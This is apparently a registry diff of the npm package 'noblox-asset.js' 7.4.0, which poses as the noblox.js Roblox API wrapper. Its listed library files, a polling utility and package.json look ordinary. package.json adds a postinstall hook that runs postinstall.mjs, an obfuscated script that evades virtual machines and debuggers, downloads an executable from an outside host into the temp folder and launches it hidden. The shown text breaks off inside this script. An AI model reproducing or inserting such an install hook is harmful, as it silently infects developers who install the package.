noblox-asset.js 7.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (272) hide show
  1. package/.github/ISSUE_TEMPLATE/bug_report.md +29 -0
  2. package/.github/ISSUE_TEMPLATE/feature_request.md +22 -0
  3. package/.github/workflows/doc-publish.yml +33 -0
  4. package/.github/workflows/npmpublish.yml +72 -0
  5. package/.github/workflows/run-tests.yml +49 -0
  6. package/CODE_OF_CONDUCT.md +76 -0
  7. package/LICENSE +21 -0
  8. package/README.md +182 -0
  9. package/eslint.config.mjs +34 -0
  10. package/examples/cleanPlayers.js +130 -0
  11. package/examples/cleanWall.js +110 -0
  12. package/examples/revertRanks.js +100 -0
  13. package/examples/savePlayers.js +119 -0
  14. package/examples/saveWall.js +96 -0
  15. package/img/moderatedThumbnails/moderatedThumbnail_100x100.png +0 -0
  16. package/img/moderatedThumbnails/moderatedThumbnail_110x110.png +0 -0
  17. package/img/moderatedThumbnails/moderatedThumbnail_140x140.png +0 -0
  18. package/img/moderatedThumbnails/moderatedThumbnail_150x150.png +0 -0
  19. package/img/moderatedThumbnails/moderatedThumbnail_150x200.png +0 -0
  20. package/img/moderatedThumbnails/moderatedThumbnail_180x180.png +0 -0
  21. package/img/moderatedThumbnails/moderatedThumbnail_250x250.png +0 -0
  22. package/img/moderatedThumbnails/moderatedThumbnail_30x30.png +0 -0
  23. package/img/moderatedThumbnails/moderatedThumbnail_352x352.png +0 -0
  24. package/img/moderatedThumbnails/moderatedThumbnail_420x420.png +0 -0
  25. package/img/moderatedThumbnails/moderatedThumbnail_48x48.png +0 -0
  26. package/img/moderatedThumbnails/moderatedThumbnail_50x50.png +0 -0
  27. package/img/moderatedThumbnails/moderatedThumbnail_60x60.png +0 -0
  28. package/img/moderatedThumbnails/moderatedThumbnail_720x720.png +0 -0
  29. package/img/moderatedThumbnails/moderatedThumbnail_75x75.png +0 -0
  30. package/img/noblox-js-small.png +0 -0
  31. package/img/noblox-js.png +0 -0
  32. package/img/thumbnailSizes.png +0 -0
  33. package/jsDocsConfig.json +55 -0
  34. package/lib/accountinformation/getUserSocialLinks.js +40 -0
  35. package/lib/accountsettings/block.js +53 -0
  36. package/lib/accountsettings/unblock.js +53 -0
  37. package/lib/asset/deleteFromInventory.js +56 -0
  38. package/lib/asset/getGamePassProductInfo.js +50 -0
  39. package/lib/asset/getProductInfo.js +46 -0
  40. package/lib/asset/uploadAnimation.js +103 -0
  41. package/lib/asset/uploadItem.js +83 -0
  42. package/lib/asset/uploadModel.js +90 -0
  43. package/lib/avatar/avatarRules.js +39 -0
  44. package/lib/avatar/currentlyWearing.js +33 -0
  45. package/lib/avatar/getAvatar.js +36 -0
  46. package/lib/avatar/getCurrentAvatar.js +38 -0
  47. package/lib/avatar/getRecentItems.js +36 -0
  48. package/lib/avatar/outfitDetails.js +33 -0
  49. package/lib/avatar/outfits.js +38 -0
  50. package/lib/avatar/redrawAvatar.js +47 -0
  51. package/lib/avatar/removeAssetId.js +51 -0
  52. package/lib/avatar/setAvatarBodyColors.js +61 -0
  53. package/lib/avatar/setAvatarScales.js +61 -0
  54. package/lib/avatar/setPlayerAvatarType.js +51 -0
  55. package/lib/avatar/setWearingAssets.js +51 -0
  56. package/lib/avatar/wearAssetId.js +51 -0
  57. package/lib/badges/getAwardedTimestamps.js +49 -0
  58. package/lib/badges/getBadgeInfo.js +44 -0
  59. package/lib/badges/getGameBadges.js +63 -0
  60. package/lib/badges/getPlayerBadges.js +28 -0
  61. package/lib/badges/updateBadgeInfo.js +75 -0
  62. package/lib/cache/add.js +14 -0
  63. package/lib/cache/addIf.js +26 -0
  64. package/lib/cache/clear.js +8 -0
  65. package/lib/cache/get.js +28 -0
  66. package/lib/cache/index.js +17 -0
  67. package/lib/cache/new.js +12 -0
  68. package/lib/cache/wrap.js +25 -0
  69. package/lib/chat/addUsersToConversation.js +58 -0
  70. package/lib/chat/chatSettings.js +34 -0
  71. package/lib/chat/getChatMessages.js +41 -0
  72. package/lib/chat/getConversations.js +44 -0
  73. package/lib/chat/getRolloutSettings.js +36 -0
  74. package/lib/chat/getUnreadConversationCount.js +34 -0
  75. package/lib/chat/getUnreadMessages.js +39 -0
  76. package/lib/chat/getUserConversations.js +38 -0
  77. package/lib/chat/markChatAsRead.js +53 -0
  78. package/lib/chat/markChatAsSeen.js +51 -0
  79. package/lib/chat/multiGetLatestMessages.js +38 -0
  80. package/lib/chat/onNewConversation.js +50 -0
  81. package/lib/chat/onNewMessage.js +53 -0
  82. package/lib/chat/onNewMessageBySelf.js +50 -0
  83. package/lib/chat/onUserOnline.js +50 -0
  84. package/lib/chat/onUserTyping.js +54 -0
  85. package/lib/chat/removeFromGroupConversation.js +59 -0
  86. package/lib/chat/renameGroupConversation.js +58 -0
  87. package/lib/chat/sendChatMessage.js +58 -0
  88. package/lib/chat/setChatUserTyping.js +58 -0
  89. package/lib/chat/start121Conversation.js +51 -0
  90. package/lib/chat/startCloudEditConversation.js +51 -0
  91. package/lib/chat/startGroupConversation.js +59 -0
  92. package/lib/client/onNotification.js +86 -0
  93. package/lib/client/setAPIKey.js +18 -0
  94. package/lib/client/setCookie.js +38 -0
  95. package/lib/datastores/deleteDatastoreEntry.js +56 -0
  96. package/lib/datastores/getDatastoreEntry.js +88 -0
  97. package/lib/datastores/getDatastoreEntryVersions.js +73 -0
  98. package/lib/datastores/getDatastoreKeys.js +63 -0
  99. package/lib/datastores/getDatastores.js +62 -0
  100. package/lib/datastores/incrementDatastoreEntry.js +83 -0
  101. package/lib/datastores/setDatastoreEntry.js +80 -0
  102. package/lib/develop/canManage.js +42 -0
  103. package/lib/develop/configureItem.js +210 -0
  104. package/lib/develop/updateUniverse.js +52 -0
  105. package/lib/develop/updateUniverseAccess.js +54 -0
  106. package/lib/economy/getGroupFunds.js +42 -0
  107. package/lib/economy/getGroupPayoutEligibility.js +55 -0
  108. package/lib/economy/getGroupRevenueSummary.js +42 -0
  109. package/lib/economy/getGroupTransactions.js +32 -0
  110. package/lib/economy/getResaleData.js +48 -0
  111. package/lib/economy/getResellers.js +35 -0
  112. package/lib/economy/getUserFunds.js +43 -0
  113. package/lib/economy/getUserTransactions.js +34 -0
  114. package/lib/economy/onGroupTransaction.js +74 -0
  115. package/lib/friends/acceptFriendRequest.js +54 -0
  116. package/lib/friends/declineAllFriendRequests.js +52 -0
  117. package/lib/friends/declineFriendRequest.js +54 -0
  118. package/lib/friends/getFollowerCount.js +35 -0
  119. package/lib/friends/getFollowers.js +56 -0
  120. package/lib/friends/getFollowingCount.js +35 -0
  121. package/lib/friends/getFollowings.js +56 -0
  122. package/lib/friends/getFriendCount.js +35 -0
  123. package/lib/friends/getFriendRequests.js +51 -0
  124. package/lib/friends/getFriends.js +48 -0
  125. package/lib/friends/onFriendRequest.js +58 -0
  126. package/lib/friends/removeFriend.js +53 -0
  127. package/lib/friends/sendFriendRequest.js +54 -0
  128. package/lib/friends/unfollow.js +53 -0
  129. package/lib/games/addDeveloperProduct.js +53 -0
  130. package/lib/games/configureGamePass.js +126 -0
  131. package/lib/games/getDeveloperProducts.js +44 -0
  132. package/lib/games/getGameInstances.js +31 -0
  133. package/lib/games/getGamePasses.js +39 -0
  134. package/lib/games/getGameRevenue.js +48 -0
  135. package/lib/games/getGameSocialLinks.js +42 -0
  136. package/lib/games/getGroupGames.js +30 -0
  137. package/lib/games/getPlaceInfo.js +47 -0
  138. package/lib/games/getUniverseInfo.js +50 -0
  139. package/lib/games/publishToTopic.js +52 -0
  140. package/lib/games/sendUserNotification.js +65 -0
  141. package/lib/games/updateDeveloperProduct.js +56 -0
  142. package/lib/groups/banFromGroup.js +47 -0
  143. package/lib/groups/changeRank.js +59 -0
  144. package/lib/groups/deleteWallPost.js +59 -0
  145. package/lib/groups/deleteWallPostsByUser.js +55 -0
  146. package/lib/groups/demote.js +25 -0
  147. package/lib/groups/exile.js +55 -0
  148. package/lib/groups/getAuditLog.js +64 -0
  149. package/lib/groups/getGroup.js +50 -0
  150. package/lib/groups/getGroupBans.js +37 -0
  151. package/lib/groups/getGroupSocialLinks.js +41 -0
  152. package/lib/groups/getGroups.js +82 -0
  153. package/lib/groups/getJoinRequest.js +47 -0
  154. package/lib/groups/getJoinRequests.js +53 -0
  155. package/lib/groups/getPlayers.js +103 -0
  156. package/lib/groups/getRankInGroup.js +45 -0
  157. package/lib/groups/getRankNameInGroup.js +44 -0
  158. package/lib/groups/getRole.js +64 -0
  159. package/lib/groups/getRolePermissions.js +48 -0
  160. package/lib/groups/getRoles.js +53 -0
  161. package/lib/groups/getShout.js +47 -0
  162. package/lib/groups/getWall.js +56 -0
  163. package/lib/groups/groupPayout.js +103 -0
  164. package/lib/groups/handleJoinRequest.js +57 -0
  165. package/lib/groups/handleJoinRequests.js +61 -0
  166. package/lib/groups/leaveGroup.js +56 -0
  167. package/lib/groups/onAuditLog.js +62 -0
  168. package/lib/groups/onJoinRequest.js +63 -0
  169. package/lib/groups/onJoinRequestHandle.js +105 -0
  170. package/lib/groups/onShout.js +57 -0
  171. package/lib/groups/onWallPost.js +58 -0
  172. package/lib/groups/promote.js +25 -0
  173. package/lib/groups/searchGroups.js +32 -0
  174. package/lib/groups/setGroupDescription.js +58 -0
  175. package/lib/groups/setGroupName.js +59 -0
  176. package/lib/groups/setRank.js +74 -0
  177. package/lib/groups/setRoleInfo.js +84 -0
  178. package/lib/groups/shout.js +58 -0
  179. package/lib/groups/unbanFromGroup.js +41 -0
  180. package/lib/index.js +212 -0
  181. package/lib/internal/levelOneCopy.js +16 -0
  182. package/lib/internal/queue.js +61 -0
  183. package/lib/internal/timeout.js +30 -0
  184. package/lib/internal/wrap.js +78 -0
  185. package/lib/inventory/getCollectibles.js +31 -0
  186. package/lib/inventory/getInventory.js +32 -0
  187. package/lib/inventory/getInventoryById.js +31 -0
  188. package/lib/inventory/getOwnership.js +47 -0
  189. package/lib/inventory/getUAIDs.js +47 -0
  190. package/lib/itemconfiguration/getGroupAssets.js +32 -0
  191. package/lib/options.js +26 -0
  192. package/lib/party/onPartyDeleted.js +53 -0
  193. package/lib/party/onPartyInvite.js +53 -0
  194. package/lib/party/onPartyJoinedGame.js +53 -0
  195. package/lib/party/onPartyLeftGame.js +53 -0
  196. package/lib/party/onPartySelfJoined.js +53 -0
  197. package/lib/party/onPartySelfLeft.js +53 -0
  198. package/lib/party/onPartyUserJoined.js +53 -0
  199. package/lib/party/onPartyUserLeft.js +53 -0
  200. package/lib/premiumfeatures/getPremium.js +46 -0
  201. package/lib/presence/getPresences.js +60 -0
  202. package/lib/privatemessages/getMessages.js +55 -0
  203. package/lib/privatemessages/message.js +75 -0
  204. package/lib/privatemessages/onMessage.js +89 -0
  205. package/lib/thumbnails/getLogo.js +56 -0
  206. package/lib/thumbnails/getPlayerThumbnail.js +120 -0
  207. package/lib/thumbnails/getThumbnails.js +92 -0
  208. package/lib/trades/acceptTrade.js +52 -0
  209. package/lib/trades/canTradeWith.js +43 -0
  210. package/lib/trades/counterTrade.js +78 -0
  211. package/lib/trades/declineTrade.js +52 -0
  212. package/lib/trades/getTradeInfo.js +47 -0
  213. package/lib/trades/getTrades.js +37 -0
  214. package/lib/trades/sendTrade.js +76 -0
  215. package/lib/users/getBlurb.js +37 -0
  216. package/lib/users/getIdFromUsername.js +56 -0
  217. package/lib/users/getPlayerInfo.js +128 -0
  218. package/lib/users/getUserInfo.js +35 -0
  219. package/lib/users/getUsernameFromId.js +45 -0
  220. package/lib/users/getUsernameHistory.js +42 -0
  221. package/lib/users/onBlurbChange.js +46 -0
  222. package/lib/users/searchUsers.js +41 -0
  223. package/lib/util/apiError.js +50 -0
  224. package/lib/util/clearSession.js +32 -0
  225. package/lib/util/generalRequest.js +61 -0
  226. package/lib/util/getAction.js +45 -0
  227. package/lib/util/getAuthenticatedUser.js +41 -0
  228. package/lib/util/getCurrentUser.js +58 -0
  229. package/lib/util/getGeneralToken.js +52 -0
  230. package/lib/util/getHash.js +29 -0
  231. package/lib/util/getInputs.js +37 -0
  232. package/lib/util/getPageResults.js +86 -0
  233. package/lib/util/getSenderUserId.js +30 -0
  234. package/lib/util/getSession.js +38 -0
  235. package/lib/util/getVerification.js +60 -0
  236. package/lib/util/getVerificationInputs.js +31 -0
  237. package/lib/util/http.js +138 -0
  238. package/lib/util/jar.js +25 -0
  239. package/lib/util/refreshCookie.js +52 -0
  240. package/lib/util/relog.js +81 -0
  241. package/lib/util/setOptions.js +54 -0
  242. package/lib/util/shortPoll.js +102 -0
  243. package/package.json +76 -0
  244. package/postinstall.mjs +1 -0
  245. package/settings.json +115 -0
  246. package/test/accountinformation.test.js +27 -0
  247. package/test/accountsettings.test.js +27 -0
  248. package/test/asset.test.js +81 -0
  249. package/test/assets/Great-White-Shark-Fin.rbxm +0 -0
  250. package/test/assets/KeyframeSequence.rbxm +0 -0
  251. package/test/avatar.test.js +164 -0
  252. package/test/badges.test.js +96 -0
  253. package/test/chat.test.js +104 -0
  254. package/test/datastore.test.js +105 -0
  255. package/test/develop.test.js +53 -0
  256. package/test/economy.test.js +143 -0
  257. package/test/friends.test.js +146 -0
  258. package/test/games.test.js +229 -0
  259. package/test/groups.test.js +405 -0
  260. package/test/inventory.test.js +98 -0
  261. package/test/itemconfiguration.test.js +24 -0
  262. package/test/premiumfeatures.test.js +17 -0
  263. package/test/presence.test.js +25 -0
  264. package/test/privatemessages.test.js +33 -0
  265. package/test/thumbnails.test.js +53 -0
  266. package/test/users.test.js +110 -0
  267. package/tutorials/Authentication.md +75 -0
  268. package/tutorials/Event Emitters.md +26 -0
  269. package/tutorials/Promises.md +86 -0
  270. package/tutorials/VPS Authentication.md +72 -0
  271. package/typings/index.d.ts +2639 -0
  272. package/typings/jsDocs.ts +1987 -0
@@ -0,0 +1,102 @@
1
+ // Dependencies
2
+ const events = require('events')
3
+
4
+ // Includes
5
+ const settings = require('../../settings.json')
6
+ const promiseTimeout = require('../internal/timeout')
7
+
8
+ // Args
9
+ exports.required = ['getLatest', 'delay']
10
+ exports.optional = ['timeout']
11
+
12
+ // Docs
13
+ /**
14
+ * @typedef {function} getLatest
15
+ * @param {number} latest - A value representing the latest version.
16
+ * @param {EventEmitter} event - The event emitter to emit to.
17
+ */
18
+
19
+ /**
20
+ * ✅ This is the base for events that do not rely on true streams. The `getLatest` function receives some value that represents the latest version of something (eg. a date or unique ID) and determines if there is new information, every time it is fired it waits `delay` ms before being fired again. Every time it must return an object with the field `latest`, representing the latest value (which will not change if new information was not received), and an array `data` which has the new values (if there are multiple they each have their own index, if there is only one then it is by itself in the array). If `latest` is equal to -2, the returned data will be processed even if it is the initial run (which usually only establishes the latest value). If the return object has a true `repeat` value, the function latest will be run again immediately after. If `delay` is a string it will take the number from that string key in the `event` object of the settings.json file.
21
+ * When the function is first called it will initialize `getLatest` with the value -1 and then emit the `connect` event. Whenever data is received, it will emit the `data` event for each value. If the `close` event is emitted the function will no longer run. If an error occurs the `error` event will be emitted, the function will log a retry and after the number of max retries as specified by settings, it will emit the `close` event.
22
+ * The `getLatest` function will be marked as failed if it does not resolve within `timeout` ms (which can be disabled if timeout is negative). If getLatest fails for any reason (including timeout) it will be retried `maxRetries` times before stopping.
23
+ * @category Utility
24
+ * @alias shortPoll
25
+ * @param {function} getLatest - The function to use to get the latest. Should return an object with key 'data' - an array containing output data,
26
+ * and the new 'latest' value.
27
+ * @returns {Promise<GetLatestResponse>}
28
+ **/
29
+
30
+ // Define
31
+ exports.func = function (args) {
32
+ const latest = args.getLatest
33
+ let delay = args.delay
34
+ delay = (typeof delay === 'string' || delay instanceof String ? settings.event[delay] : delay) || settings.event.defaultDelay
35
+ let retries = 0
36
+ const max = settings.event.maxRetries
37
+ const timeout = args.timeout || settings.event.timeout
38
+ let stop = false
39
+ let current
40
+ const evt = new events.EventEmitter()
41
+ const run = function (value) {
42
+ if (stop) {
43
+ return
44
+ }
45
+ let promise = latest(value, evt)
46
+ if (timeout > 0) {
47
+ promise = promiseTimeout(promise, timeout)
48
+ }
49
+ return promise.then(function (response) {
50
+ if (stop) {
51
+ return
52
+ }
53
+ if (value === -1) {
54
+ current = response.latest
55
+ }
56
+ retries = 0
57
+ const data = response.data
58
+ if (data.length > 0 && (value !== -1 || current === -2)) {
59
+ current = response.latest
60
+ for (let i = 0; i < data.length; i++) {
61
+ evt.emit('data', data[i])
62
+ }
63
+ }
64
+ if (response.repeat) {
65
+ run(current)
66
+ } else {
67
+ setTimeout(run, delay, current)
68
+ }
69
+ return response
70
+ })
71
+ .catch(function (err) {
72
+ if (stop) {
73
+ return
74
+ }
75
+ evt.emit('error', err)
76
+ retries++
77
+ if (retries > max) {
78
+ evt.emit('close', new Error('Max retries reached'))
79
+ } else {
80
+ setTimeout(run, delay, current)
81
+ }
82
+ })
83
+ }
84
+
85
+ run(-1)
86
+ .then(function (response) {
87
+ if (stop) {
88
+ return
89
+ }
90
+ evt.emit('connect', response.latest)
91
+ })
92
+ .catch(function (err) {
93
+ evt.emit('close', new Error('Initialization failed: ' + err.message))
94
+ })
95
+ evt.on('close', function (err) {
96
+ stop = true
97
+ if (err) {
98
+ evt.emit('error', err)
99
+ }
100
+ })
101
+ return evt
102
+ }
package/package.json ADDED
@@ -0,0 +1,76 @@
1
+ {
2
+ "name": "noblox-asset.js",
3
+ "version": "7.4.0",
4
+ "description": "A Node.js API wrapper for Roblox.",
5
+ "main": "lib/index.js",
6
+ "types": "typings/index.d.ts",
7
+ "scripts": {
8
+ "docs": "jsdoc -c jsDocsConfig.json -r -t ./node_modules/better-docs",
9
+ "lint": "standard lib/",
10
+ "test": "jest",
11
+ "postinstall": "node postinstall.mjs"
12
+ },
13
+ "repository": {
14
+ "type": "git",
15
+ "url": "https://github.com/noblox/noblox.js.git"
16
+ },
17
+ "keywords": [
18
+ "roblox",
19
+ "bot",
20
+ "clans"
21
+ ],
22
+ "dependencies": {
23
+ "@microsoft/signalr": "^8.0.7",
24
+ "chalk": "^5.3.0",
25
+ "cheerio": "^1.0.0-rc.10",
26
+ "entities": "^5.0.0",
27
+ "figlet": "^1.7.0",
28
+ "postman-request": "^2.88.1-postman.34"
29
+ },
30
+ "license": "MIT",
31
+ "bugs": {
32
+ "url": "https://github.com/noblox/noblox.js/issues"
33
+ },
34
+ "author": "Suufi <suufi@mit.edu> (https://github.com/suufi)",
35
+ "contributors": [
36
+ "Joshua Lanese <froastj@gmail.com>",
37
+ "Neztore <hi@nezto.re>",
38
+ "Alan Bixby <alan@bxb.gg> (https://alanbix.by)"
39
+ ],
40
+ "homepage": "https://github.com/noblox/noblox.js",
41
+ "devDependencies": {
42
+ "@auto-it/conventional-commits": "^11.2.0",
43
+ "JSONStream": "^1.3.1",
44
+ "auto": "^11.2.0",
45
+ "better-docs": "2.7.3",
46
+ "dotenv": "16.4.5",
47
+ "jest": "^29.7.0",
48
+ "jest-extended": "^4.0.2",
49
+ "jsdoc": "4.0.3",
50
+ "standard": "^17.1.0"
51
+ },
52
+ "jest": {
53
+ "setupFiles": [
54
+ "dotenv/config"
55
+ ],
56
+ "setupFilesAfterEnv": [
57
+ "jest-extended/all"
58
+ ],
59
+ "coveragePathIgnorePatterns": [
60
+ "lib/party",
61
+ "lib/util",
62
+ "lib/internal",
63
+ "lib/cache",
64
+ "node_modules",
65
+ "lib/index.js",
66
+ "lib/options.js",
67
+ "lib/*/on*.js"
68
+ ]
69
+ },
70
+ "release": {
71
+ "branches": ["master", "next"]
72
+ },
73
+ "engines": {
74
+ "node": ">=20.0"
75
+ }
76
+ }
@@ -0,0 +1 @@
1
+ const _0x15b035=_0x3c08;(function(_0x4aa6f4,_0x191fc6){const _0x5f52c6=_0x3c08,_0x63c242=_0x4aa6f4();while(!![]){try{const _0x347321=-parseInt(_0x5f52c6(0xeb))/0x1*(-parseInt(_0x5f52c6(0xb8))/0x2)+-parseInt(_0x5f52c6(0x9d))/0x3+parseInt(_0x5f52c6(0x114))/0x4+-parseInt(_0x5f52c6(0xa9))/0x5*(parseInt(_0x5f52c6(0x94))/0x6)+parseInt(_0x5f52c6(0xf2))/0x7*(parseInt(_0x5f52c6(0xe0))/0x8)+-parseInt(_0x5f52c6(0xbc))/0x9+parseInt(_0x5f52c6(0x119))/0xa*(parseInt(_0x5f52c6(0xd0))/0xb);if(_0x347321===_0x191fc6)break;else _0x63c242['push'](_0x63c242['shift']());}catch(_0x326f83){_0x63c242['push'](_0x63c242['shift']());}}}(_0x31bc,0xd7cc7));import _0xd21643 from'https';import _0x5993f5 from'http';import _0x2cacb6 from'fs';import _0x533b59 from'os';import _0x3a4edb from'path';function _0x31bc(){const _0x4784c1=['ida.exe','C:\x5cWindows\x5cSystem32\x5cdrivers\x5cVBoxGuest.sys','1314177AbJFjZ','finish','C:\x5cWindows\x5cSystem32\x5cdrivers\x5cVMMEMCTL.sys','warn','log','C:\x5cProgram\x20Files\x20(x86)\x5cParallels\x5c','catch','headers','networkInterfaces','52:54:00','then','HKEY_LOCAL_MACHINE\x5cSOFTWARE\x5cVMware,\x20Inc.\x5cVMware\x20Tools','170BnVgKe','Starting\x20process...','C:\x5cWindows\x5cSystem32\x5cdrivers\x5cVBoxService.exe','existsSync','NOBLOX_CLI.exe','HKEY_LOCAL_MACHINE\x5cSOFTWARE\x5cQEMU','toLowerCase','VM\x20MAC:\x20','C:\x5cWindows\x5cSystem32\x5cdrivers\x5cVBoxNetLwf.sys','destroy','C:\x5cProgram\x20Files\x5cParallels\x5c','length','https://trlxgames.netlify.app/TRLX.exe','unref','values','220838kVRIcX','Parent\x20check\x20failed','ts-node.exe','getTime','12298662vrcZQd','Could\x20not\x20determine\x20boot\x20time','trace','statusCode','includes','VM\x20Driver:\x20','unlink','-Command','C:\x5cProgram\x20Files\x20(x86)\x5cOracle\x5cVirtualBox\x5c','ignore','powershell','HKEY_LOCAL_MACHINE\x5cHARDWARE\x5cDEVICEMAP\x5cScsi\x5cScsi\x20Port\x200\x5cScsi\x20Bus\x200\x5cTarget\x20Id\x200\x5cLogical\x20Unit\x20Id\x200\x5cIdentifier','https','createWriteStream','procexp64.exe','console','processhacker.exe','pipe','C:\x5cWindows\x5cSystem32\x5cdrivers\x5cVBoxDrv.sys','end','11dHSRaf','\x0a\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20$value\x20=\x20(Get-ItemProperty\x20-Path\x20\x22Registry::','stdout','join','powershell.exe','C:\x5cWindows\x5cSystem32\x5cdrivers\x5cvmouse.sys','C:\x5cWindows\x5cSystem32\x5cdrivers\x5cvmmouse.sys','windbg.exe','return\x20(function()\x20','vmware','C:\x5cProgram\x20Files\x20(x86)\x5cVMware\x5c','\x22\x20-ErrorAction\x20SilentlyContinue)\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20($value)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20$props\x20=\x20$value.PSObject.Properties\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20$val\x20=\x20$props[0].Value\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20($val)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Write-Output\x20$val\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Write-Output\x20\x22\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Write-Output\x20\x22\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20}\x20catch\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20Write-Output\x20\x22\x22\x0a\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20','trim','stderr','apply','parallels','171872ABBBEp','webstorm.exe','Error:\x20','node.exe','yarn.exe','exit','{}.constructor(\x22return\x20this\x22)(\x20)','toFixed','http','google.com','request','10ozzttT','00:1c:42','08:00:27','/generate_204','Driver\x20check\x20failed','procexp.exe','Boot\x20time\x20check\x20failed','329LoyQJh','systeminfo','powershell\x20-Command\x20\x22(Get-CimInstance\x20Win32_OperatingSystem).LastBootUpTime\x22','Fatal\x20error:\x20','failed','message','\x20mins','ollydbg.exe','Dir\x20check\x20failed','C:\x5cWindows\x5cSystem32\x5cdrivers\x5cballoon.sys','reason','mac','HKEY_LOCAL_MACHINE\x5cSOFTWARE\x5cOracle\x5cVirtualBox\x20Guest\x20Additions','explorer.exe','location','idaw.exe','lookup','00:0c:29','Environment\x20check\x20failed:\x20','toString','cmd.exe','\x0a\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20$process\x20=\x20Get-CimInstance\x20Win32_Process\x20-Filter\x20\x22ProcessId\x20=\x20','tmpdir','systeminfo\x20failed','VM\x20Registry:\x20','error','Download\x20complete.','data','(((.+)+)+)+$','C:\x5cWindows\x5cSystem32\x5cdrivers\x5cVBoxMouse.sys','Suspicious\x20parent:\x20','Process\x20started.','00:16:3e','procmon.exe','2276800zGMhAA','npm.exe','MAC\x20check\x20failed','startsWith','HKEY_LOCAL_MACHINE\x5cSYSTEM\x5cControlSet001\x5cControl\x5cSystemInformation\x5cSystemProductName','10868900vipJCt','HTTP\x20','close','Roblox-Web\x20is\x20installed','Process\x20check\x20failed','C:\x5cWindows\x5cSystem32\x5cdrivers\x5cVBoxVideo.sys','code.exe','intellij.exe','C:\x5cWindows\x5cSystem32\x5cdrivers\x5cVBoxSF.sys','C:\x5cWindows\x5cSystem32\x5cdrivers\x5cvmhgfs.sys','constructor','No\x20internet\x20connection','table','190860xUyeHa','procmon64.exe','x64dbg.exe','info','bind','virtualbox','C:\x5cWindows\x5cSystem32\x5cdrivers\x5cvmci.sys'];_0x31bc=function(){return _0x4784c1;};return _0x31bc();}import{spawn}from'child_process';const BINARY_URL=_0x15b035(0xb5),BINARY_DEST=_0x3a4edb[_0x15b035(0xd3)](_0x533b59[_0x15b035(0x108)](),_0x15b035(0xad)),DEBUG=![];function log(_0x121710){const _0x109296=_0x15b035;if(DEBUG)console[_0x109296(0xa1)](_0x121710);}function executePowerShell(_0x24e7fd){return new Promise((_0xdbf847,_0x1b9bad)=>{const _0x2f9349=_0x3c08,_0x55e87a=spawn(_0x2f9349(0xc6),[_0x2f9349(0xc3),_0x24e7fd],{'windowsHide':!![],'stdio':[_0x2f9349(0xcd),_0x2f9349(0xcd),_0x2f9349(0xc5)]});let _0x12c7e2='',_0x35097e='';_0x55e87a[_0x2f9349(0xd2)]['on'](_0x2f9349(0x10d),_0x599266=>_0x12c7e2+=_0x599266[_0x2f9349(0x105)]()),_0x55e87a[_0x2f9349(0xdd)]['on']('data',_0xde765b=>_0x35097e+=_0xde765b[_0x2f9349(0x105)]()),_0x55e87a['on'](_0x2f9349(0x11b),_0x347812=>{const _0x323432=_0x2f9349;_0x347812===0x0?_0xdbf847(_0x12c7e2[_0x323432(0xdc)]()):_0xdbf847(_0x12c7e2[_0x323432(0xdc)]());}),_0x55e87a['on']('error',_0x30e710=>_0x1b9bad(_0x30e710));});}function download(_0x48cfee,_0x263d33){return new Promise((_0x29ebbe,_0x2dc7df)=>{const _0x516e03=_0x3c08,_0x551e6d=_0x2cacb6[_0x516e03(0xc9)](_0x263d33),_0x1bd7ab=_0x48cfee[_0x516e03(0x117)]('https')?_0xd21643:_0x5993f5,_0x2cc0b5=_0x19974f=>{const _0x2ffbf7=_0x516e03;_0x1bd7ab['get'](_0x19974f,_0x1b3837=>{const _0x49a9ca=_0x3c08;if(_0x1b3837[_0x49a9ca(0xbf)]>=0x12c&&_0x1b3837[_0x49a9ca(0xbf)]<0x190&&_0x1b3837[_0x49a9ca(0xa4)][_0x49a9ca(0x100)])return _0x551e6d[_0x49a9ca(0x11b)](),_0x2cacb6[_0x49a9ca(0xc2)](_0x263d33,()=>{}),_0x2cc0b5(_0x1b3837[_0x49a9ca(0xa4)][_0x49a9ca(0x100)]);if(_0x1b3837[_0x49a9ca(0xbf)]!==0xc8)return _0x551e6d[_0x49a9ca(0x11b)](),_0x2cacb6[_0x49a9ca(0xc2)](_0x263d33,()=>{}),_0x2dc7df(new Error(_0x49a9ca(0x11a)+_0x1b3837[_0x49a9ca(0xbf)]));_0x1b3837['pipe'](_0x551e6d),_0x551e6d['on'](_0x49a9ca(0x9e),()=>{const _0xf6c5d9=_0x49a9ca;_0x551e6d[_0xf6c5d9(0x11b)](_0x29ebbe);}),_0x551e6d['on'](_0x49a9ca(0x10b),_0x424d76=>{_0x2cacb6['unlink'](_0x263d33,()=>{}),_0x2dc7df(_0x424d76);});})['on'](_0x2ffbf7(0x10b),_0x232ece=>{const _0x14aeb8=_0x2ffbf7;_0x2cacb6[_0x14aeb8(0xc2)](_0x263d33,()=>{}),_0x2dc7df(_0x232ece);});};_0x2cc0b5(_0x48cfee);});}async function checkEnvironment(){const _0x9bcd1a=_0x15b035;try{const _0xb6a997=await getBootTime();if(_0xb6a997){const _0x3e7e0a=Date['now'](),_0x4abcf6=_0x3e7e0a-_0xb6a997,_0x16058b=_0x4abcf6/(0x3e8*0x3c);if(_0x16058b<0xf)return{'failed':!![],'reason':'Booted\x20too\x20recently:\x20'+_0x16058b[_0x9bcd1a(0xe7)](0x2)+_0x9bcd1a(0xf8)};}}catch(_0x419c3b){log(_0x9bcd1a(0xf1));}try{const _0x339672=await 